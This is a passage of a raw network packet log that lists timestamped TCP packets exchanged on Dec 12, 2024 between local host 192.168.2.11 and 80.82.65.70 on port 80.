                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.517359972 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.517374992 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.517429113 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.517982960 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.518042088 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.518105030 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.518196106 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.518775940 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.518825054 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.518874884 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.518944025 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.519599915 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.519748926 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.519754887 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.519784927 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.520354033 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.520483971 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.520519972 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.520545006 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.521131039 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.521208048 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.521246910 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.521330118 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.522066116 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.522106886 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.522120953 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.522150040 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.522710085 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.522772074 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.522833109 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.522950888 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.523538113 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.523597002 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.523612022 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.523644924 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.524269104 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.524337053 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.524355888 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.524383068 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.525038958 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.525140047 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.525321007 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.525814056 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.525855064 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.525904894 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.526575089 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.526782990 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.580941916 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.580982924 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.581109047 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.581109047 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.581319094 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.581376076 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.581379890 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.581496000 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.582072020 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.582134962 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.582156897 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.582284927 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.582843065 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.583049059 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.616898060 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.616942883 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.617006063 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.617276907 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.617451906 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.617460012 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.617563963 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.618069887 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.618283987 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.618328094 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.618343115 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.618818998 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.618889093 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.618922949 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.618937016 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.619631052 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.619770050 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.619774103 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.619826078 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.620404959 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.620465994 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.620481968 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.620508909 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.621171951 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.621323109 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.621367931 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.621965885 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.622098923 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.622138977 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.622726917 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.622915030 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.622961044 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.623615026 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.623667002 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.623708010 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.624304056 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.624353886 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.624424934 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.625107050 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.625190973 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.625245094 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.625291109 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.625874043 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.625961065 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.626034021 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.626635075 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.626708031 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.626842976 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.627429008 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.627504110 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.627542973 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.627635956 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.628206015 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.628360033 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.628371000 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.628403902 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.629046917 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.629149914 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.629199982 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.629854918 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.629862070 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.629921913 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.630561113 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.630654097 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.630723953 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.630852938 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.631360054 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.631474018 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.631493092 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.631593943 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.695907116 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.696073055 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.696172953 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.696172953 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.696290016 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.696355104 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.696374893 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.696414948 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.697057009 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.697120905 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.697170019 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.697695971 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.697880030 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.697931051 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.697968006 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.698014975 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.698653936 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.698728085 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.698757887 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.698807955 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.699507952 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.699556112 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.699562073 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.699626923 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.700170994 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.700217962 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.700308084 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.700352907 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.701009035 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.701057911 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.701181889 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.701251984 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.701755047 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.701806068 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.701822042 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.701881886 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.702529907 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.702634096 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.702685118 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.702764988 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.703305006 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.703397989 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.703408957 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.703470945 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.704099894 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.704157114 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.704194069 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.704242945 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.704850912 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.705015898 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.705080032 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.705696106 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.705739975 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.705780983 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.705806971 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.706500053 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.706604958 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.706609011 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.706690073 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.707206964 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.707289934 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.707442999 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.707513094 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.708034992 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.708179951 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.708225012 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.708776951 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.708837986 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.708909035 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.709023952 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.709585905 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.709773064 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.709779024 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.709831953 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.710463047 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.710545063 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.710594893 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.711193085 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.711272001 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.711297989 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.711335897 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.711899042 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.711950064 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.711982012 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.712044001 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.712688923 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.712752104 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.712785006 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.712867022 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.713464022 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.713548899 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.713593006 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.714251995 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.714298964 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.714339018 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.714381933 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.715056896 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.715095043 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.715150118 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.715977907 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.716031075 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.716056108 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.716111898 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.716634989 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.716691017 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.716803074 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.716855049 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.717396021 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.717493057 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.717500925 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.717587948 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.718223095 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.718280077 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.718302011 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.718411922 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.773030043 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.773147106 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.773227930 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.773380995 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.773422003 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.773518085 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.774194002 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.774297953 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.774359941 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.774960041 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.775384903 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.809235096 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.809422016 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.809520960 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.809537888 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.809582949 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.809652090 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.809739113 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.810262918 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.810372114 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.810400963 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.811090946 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.811270952 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.811333895 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.811922073 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.811964035 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.812025070 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.812673092 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.812741041 CET4981980192.168.2.1180.82.65.70
